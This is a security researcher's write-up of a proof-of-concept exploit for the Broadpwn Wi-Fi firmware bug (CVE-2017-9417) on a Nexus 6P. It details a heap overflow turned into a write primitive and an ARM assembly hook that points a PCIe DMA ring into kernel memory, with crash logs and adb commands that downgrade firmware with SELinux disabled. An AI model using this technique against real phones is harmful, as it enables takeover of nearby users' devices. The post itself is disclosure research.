Crashing phones with Wi-Fi: Exploiting nitayart's Broadpwn bug (CVE-2017-9417)

This is part 2 of a two-part series on Broadpwn: part 1 is here: A cursory analysis of @nitayart's Broadpwn bug (CVE-2017-9417)

TLDR:

If you're near a malicious Wi-Fi network, an attacker can take over your Wi-Fi chip using @nitayart's Broadpwn bug, and then take over the rest of your phone with Project Zero/@laginimaineb's previously disclosed DMA attack. As a proof of concept, I've made a malicious network which uses these two exploits to corrupt the RAM of my Nexus 6P, causing a crash and reboot.

Plan

There's two parts to this proof of concept:

- A method to get arbitrary code execution on the Wi-Fi chip using @nitayart's Broadpwn bug
- An implementation of Project Zero's DMA engine hook to corrupt the kernel in the main system memory over PCIE

The first part is very reliable - I can always get code execution; the second part only works sometimes, since we're pointing the Wi-Fi packet DMA into main memory, and so success depends on what packets are DMAed.

Code execution on the Wi-Fi chip

In the last post, we managed to cause a heap write out of bounds using the Broadpwn bug, which causes the Wi-Fi chip to crash when reading an invalid address.

Here's the crashlog from the previous post:

```
[  695.399412] CONSOLE: FWID 01-a2412ac4
[  695.399420] CONSOLE: flags 60040005
[  695.399425] CONSOLE: 000003.645
[  695.399430] CONSOLE: TRAP 4(23fc30): pc 5550c, lr 2f697, sp 23fc88, cpsr 2000019f, spsr 200001bf
[  695.399435] CONSOLE: 000003.645   dfsr 1, dfar 41414145
[  695.399441] CONSOLE: 000003.645   r0 41414141, r1 2, r2 1, r3 0, r4 22cc00, r5 217634, r6 217048
[  695.399449] CONSOLE: 000003.645   r7 2, r8 56, r9 1, r10 216120, r11 217224, r12 8848cb89
[  695.399455] CONSOLE: 000003.645
[  695.399460] CONSOLE:    sp+0 00000002 0022cc00 0022d974 00217634
[  695.399465] CONSOLE: 000003.645   sp+10 00000004 0001aa83 0022d97f 00000168
[  695.399471] CONSOLE:
[  695.399476] CONSOLE: 000003.645 sp+14 0001aa83
[  695.399481] CONSOLE: 000003.645 sp+38 000937eb
[  695.399486] CONSOLE: 000003.645 sp+44 00003b15
[  695.399492] CONSOLE: 000003.645 sp+4c 00088659
[  695.399497] CONSOLE: 000003.645 sp+64 00008fc7
[  695.399502] CONSOLE: 000003.645 sp+74 0000379b
[  695.399507] CONSOLE: 000003.645 sp+94 00000a29
[  695.399512] CONSOLE: 000003.645 sp+c4 0019a9e1
[  695.399517] CONSOLE: 000003.645 sp+e4 00006a4d
[  695.399523] CONSOLE: 000003.645 sp+11c 00188113
[  695.399528] CONSOLE: 000003.645 sp+15c 000852ef
[   695.399533] CONSOLE: 000003.645 sp+180 00019735
[   695.399538] CONSOLE: 000003.645 sp+194 0001ec73
[   695.399543] CONSOLE: 000003.645 sp+1bc 00018ba5
[   695.399549] CONSOLE: 000003.645 sp+1dc 00018a75
[   695.399554] CONSOLE: 000003.645 sp+1fc 0000656b
```

First, let's figure out what exactly we're overwriting. According to Project Zero, heap allocations begin with a 8-byte header: a uint32_t containing the allocation's size and a pointer to the next free chunk if the current chunk is free or null if it's allocated.

I connected to a normal Wi-Fi network that uses QoS, and dumped the Wi-Fi chip's RAM using dhdutil. Next, I used a modified version of Project Zero's heap visualization script to iterate through the entire heap, looking for allocations that begin with 0050f202 (the start of a WME information element).

It turns out there's two allocations that both begin with this series of bytes: the chunk at 0x1f3550 and at 0x21700c. Both are followed by another chunk 0x78 bytes in size (at 0x1f3584 and 0x217040) Looking at the stack in the crashlog, we can see that r6=0x217048 matches the start of the second allocation, so the address we're overflowing seems to be the second one.

Next, what are we overwriting afterwards? Right now, we only know the next chunk's size (0x78) and contents (a few pointers, no function pointers). Let's look at the code that crashed.

Going up the call stack, we identified a function that contains a printf call with the function name. After cross referencing, we're able to reconstruct this call stack:

```
0x5550c wlc_hrt_del_timeout
0x635cc wlc_pm2_sleep_ret_timer_stop
0x2f670 wlc_set_pm_mode
0x19734 _wlc_ioctl
```

So it looks like we overwrote a pointer to a timer, and the firmware crashes when disabling it.

This type of timer is placed in a single linked list when enabled. A timer looks like this:

```
typedef struct wlc_hrt_to {
    wlc_hrt_to_t *next; // 0x0
    list_head *hrti;    // 0x4
    uint32_t timeout;   // 0x8
    void *func;         // 0xc
} wlc_hrt_to_t;
```

So when disabling a timer, `wlc_hrt_del_timeout` performs the following:

- Check if the passed in pointer to the timer is null; if so, return
- Grab the pointer to the head of the list from the timer
- Iterate through the list until it finds the timer to disable
- Once it finds it, add the remaining time on the timer to the next timer in the sequence
- Perform standard singly-linked list unlink (`prev->next = this->next`)
- Finally set the function pointer on the timer to null

So how can we turn this into a write primitive? Abuse the timeout addition!

- Make a fake timer object
- set the pointer to head of the list to a fake linked list head
- This fake linked list head points to the fake timer object
- Set the next pointer on this fake timer object to point to the code we want to overwrite
- Set the remaining time on this fake object to be (target value - current value at the address we want to overwrite)
- We also overlap the timer's function pointer with the link list head's next pointer

And so, when the firmware attempts to disable this fake timer, it:

- Finds our timer object - it's the first timer in the fake linked list
- Adds the remaining time to the next timer in the list - which is pointing to the code we want to overwrite, giving us a write.
- Does the unlink by setting prev->next (which is the head of the list right now) to this->next
- And zeros out the function pointer. Since we overlapped the fake timer with the fake linked list head, this also zeroes the list head's ->next pointer, so any future attempts to disable this timer will fail gracefully when it sees an empty linked list, preventing crashes.

I decided to use this to change the first instruction of dma64_txfast to a branch instruction that jumps into our overflowed buffer, allowing arbitrary code execution on the Wi-Fi chip.

There's a few other things to take care of:

- setting the other pointers in the overwritten structure to null to prevent crashes when the firmware tries to access them
- filling the beginning of the overflowed structure with 0x41 to cause the firmware to disable the fake timer (For some reason, if I set it all to 0x00, the fake timer is never disabled. I don't know why.)
- making sure the firmware doesn't overwrite our payload (I made a payload with 0x41s, connected to the network, dumped the RAM to see which bytes were overwritten, and put code and structures into the intact areas)

but after that, we have code execution! The payload can be seen here, with comments on the purpose of each part.

Now, what to execute?

Crashing the main CPU

Let's implement Project Zero's DMA attack. The TLDR of their approach is that recent phones connect Wi-Fi chipsets via PCI Express, which allows arbitrary memory writes and reads through DMA. By manipulating the list of DMA buffers on the Wi-Fi chip, an attacker can write any information into main memory, thus getting code execution on the main CPU.

I'm using Project Zero's first DMA attack, which simply sets the D2H_MSGRING_TX_COMPLETE ring's ringaddr to point into the kernel. I dumped the address of the ring structure using Project Zero's dump_pci.py script, and then wrote a hook that patches the target address to 0x248488 in the main CPU's physical memory (which seems to correspond to critical code in the kernel I'm running), and also patches out the WME IE bug that we exploited in the first place (so that we don't accidentally run the exploit twice). Here's the hook:

```
.syntax unified
.thumb
hook_entry: // 0x90
        push {r0-r3,r4-r9,lr}           // 0x217090
        bl fullhook                     // 0x217094
        pop {r0-r3}                     // 0x217098
        .word 0xbaf9f774                // 0x21709a: branch to original txfast
fullhook:
        ldr     r3, patchoutaddr        // 0x21709e
        ldr     r2, patchaddr           // 0x2170a0
        str     r2, [r3]                // 0x2180a2
        ldr     r2, ringaddr            // 0x2180a4
        ldr     r3, valuewritten        // 0x2180a6
        str     r3, [r2]                // 0x2180a8
        bx      lr                      // 0x2180aa
valuewritten:
        .word 0x00248488                // 0x2180ac physical address on the host side; seems to crash thing
s...
patchoutaddr:
        .word 0x1b8ad0                  // 0x2180b0 function to patch
patchaddr:
        .word 0x47702000                // 0x2180b4 mov r0, #0; bx lr note firmware overwrites byte 0 with
 a 0; it's fine
ringaddr:
        .word 0x002397C4                // 0x2180b8 ringaddr of D2H_MSGRING_TX_COMPLETE dumped with Project
Zero's dump_pci.py
```

This is then assembled and placed into the payload. The next time dma64_txfast is called, our code will patch the DMA ring, and the next Wi-Fi packet to be processed will overwrite part of the main CPU's kernel, crashing it.

The final payload can be seen here, along with other useful scripts.

Result

Experimental setup: computer same as before (Ubuntu 14.04, hostapd 2.6, Intel 7260 integrated Wi-Fi). Phone same as before: Google/Huawei Nexus 6P: running the latest firmware (N2G48B), but modified with the vulnerable June Broadcom firmware for testing this bug, and with a custom kernel for rooting. Since the bug is in the Wi-Fi firmware only, this should give the same result as an unupdated stock Nexus 6P.

When the device connects to the network, it froze, and then after a few seconds it rebooted. The console-ramoops file (which contains the kernel log from the previous boot) shows a kernel panic from an invalid instruction exception in the kernel. (I tried to overwrite sys_nanosleep, but missed. It seemed to break something at least.)

The crash isn't very reliable (the code exec on the wi-fi chip seems to be reliable, but getting the PCIE DMA to cooperate isn't.) When it works, the crash log shows this:

```
[ 5887.413947] CFG80211-ERROR) wl_cfg80211_connect : Connecting to (MAC address) with channel (1) ssid (Net
work)
[ 5887.420050] CFG80211-ERROR) wl_notify_connect_status : connect failed event=0 e->status 4 e->reason 1
[ 5887.426601] CFG80211-ERROR) wl_bss_connect_done : Report connect result - connection failed
[ 5887.474993] WLDEV-ERROR) wldev_set_country : wldev_set_country: set country for CA as US rev 975
[ 5887.596971] type=1400 audit(1499840123.620:282): avc: denied { syslog_read } for pid=14628 comm="WifiSta
teMachin" scontext=u:r:system_server:s0 tcontext=u:
r:kernel:s0 tclass=system permissive=1
[ 5887.642896] dhd_dbg_monitor_get_tx_pkts(): no tx_status in tx completion messages, make sure that 'd11st
atus' is enabled in firmware, status_pos=0
[ 5887.810772] HTB: quantum of class 10001 is big. Consider r2q change.
[ 5887.829826] HTB: quantum of class 10010 is big. Consider r2q change.
[ 5889.614299] Internal error: Oops - undefined instruction: 0 [#1] PREEMPT SMP
[ 5889.614322] CPU: 0 PID: 23518 Comm: kworker/0:1 Tainted: G        W    3.10.73-g4f6d61a-00391-gde1f200-d
irty #38

[ 5889.614339] Workqueue: events rslow_comp_work
[ 5889.614350] task: ffffffc0812d8ac0 ti: ffffffc08d134000 task.ti: ffffffc08d134000
[ 5889.614358] PC is at fg_mem_write+0x3f0/0x4dc
[ 5889.614364] LR is at fg_mem_write+0x3f0/0x4dc
[ 5889.614370] pc : [<ffffffc0008b8480>] lr : [<ffffffc0008b8480>] pstate: 60000145
[ 5889.614374] sp : ffffffc08d137b80
[ 5889.614379] x29: ffffffc08d137b80 x28: ffffffc0bec2f2c8
[ 5889.614388] x27: ffffffc08d137bfe x26: ffffffc08d137c0f
[ 5889.614396] x25: ffffffc08d137c10 x24: 0000000000000000
[ 5889.614405] x23: ffffffc08d137cc4 x22: 0000000000000000
[ 5889.614413] x21: 0000000000000004 x20: 0000000000000001
[ 5889.614421] x19: ffffffc0bec2f018 x18: 0000000000000000
[ 5889.614429] x17: 0000000000000000 x16: ffffffc00034f1bc
[ 5889.614438] x15: 0000000000000000 x14: 0ffffffffffffffe
[ 5889.614446] x13: 0000000000000030 x12: 0101010101010101
[ 5889.614454] x11: 7f7f7f7f7f7f7f7f x10: 0000000000004410
[ 5889.614462] x9 : ffffffc006158018 x8 : ffffffc00168e300
[ 5889.614471] x7 : 0000000000000818 x6 : 0000000000000000
[ 5889.614479] x5 : 0000000000000818 x4 : 00000000fc4cf000
[ 5889.614487] x3 : 0000000000000001 x2 : 09104ccfa95a13c2
[ 5889.614495] x1 : 09104ccfa95a13c2 x0 : 0000000000000000

(snip a few lines)

[ 5889.615088] Process kworker/0:1 (pid: 23518, stack limit = 0xffffffc08d134058)
[ 5889.615093] Call trace:
[ 5889.615100] [<ffffffc0008b8480>] fg_mem_write+0x3f0/0x4dc
[ 5889.615106] [<ffffffc0008b8a38>] fg_mem_masked_write+0x114/0x178
[ 5889.615113] [<ffffffc0008ba598>] rslow_comp_work+0x238/0x364
[ 5889.615123] [<ffffffc00023d224>] process_one_work+0x25c/0x3c0
[ 5889.615129] [<ffffffc00023d580>] worker_thread+0x1f8/0x348
[ 5889.615139] [<ffffffc000243e70>] kthread+0xc0/0xcc
[ 5889.615147] Code: f9400660 52800023 11004042 97fff7bc (000103e2)
[ 5889.615153] ---[ end trace 48638eec16f50d72 ]---
[ 5889.628687] Kernel panic - not syncing: Fatal exception
[ 5889.628851] CPU1: stopping
```

Impact

Yep, we've proved Broadpwn to be exploitable. In addition, the heap buffers that are overflowed are allocated at startup, so they are stable for a given firmware version and chip. So if attackers knows your device and your firmware version, they can take over the Wi-Fi chip and then the whole phone.

I think @Viss has the best advice: just turn Wi-Fi off.

Stuff I don't know how to do

There's a few issues that prevents this proof-of-concept from being useful.

- Project Zero's proof of concept, implemented here, DMAs random network packets into main memory; I was unable to implement their more advanced dma64_txfast hook (which gives more control over the address to write. It worked once, and only once, and I can't reproduce it.) can we control what's written so that we can modify the kernel instead of just corrupting and crashing it?
- Currently, the Wi-Fi stops working if I trigger the bug, even if I use a payload that doesn't crash the device or the Wi-Fi chip. It just fails to finish connecting to network. An attacker will need to keep the Wi-Fi working to avoid user suspicion and to exfiltrate data.
- Current payload requires address of buffer that's overflowed + address of dma64_txfast, both of which differs between phones and firmware versions. Is it possible to develop an exploit that works on all devices?

@nitayart's Black Hat presentation is likely to cover some of these, so don't miss it.

Appendix: testing with a different version of firmware

I have my phone updated to the latest version of Android, so when I need to test this bug, I need to downgrade the Broadcom firmware. Here's how:

```
$ adb shell
# setenforce 0
# cp fw_bcmdhd.bin /data/local/tmp/firmware/
# chmod 755 /data/local/tmp/firmware/fw_bcmdhd.bin
# mount -o bind /data/local/tmp/firmware /vendor/firmware
# stop
# start
```

Zhuowei Zhang (@zhuowei), 2017-07-13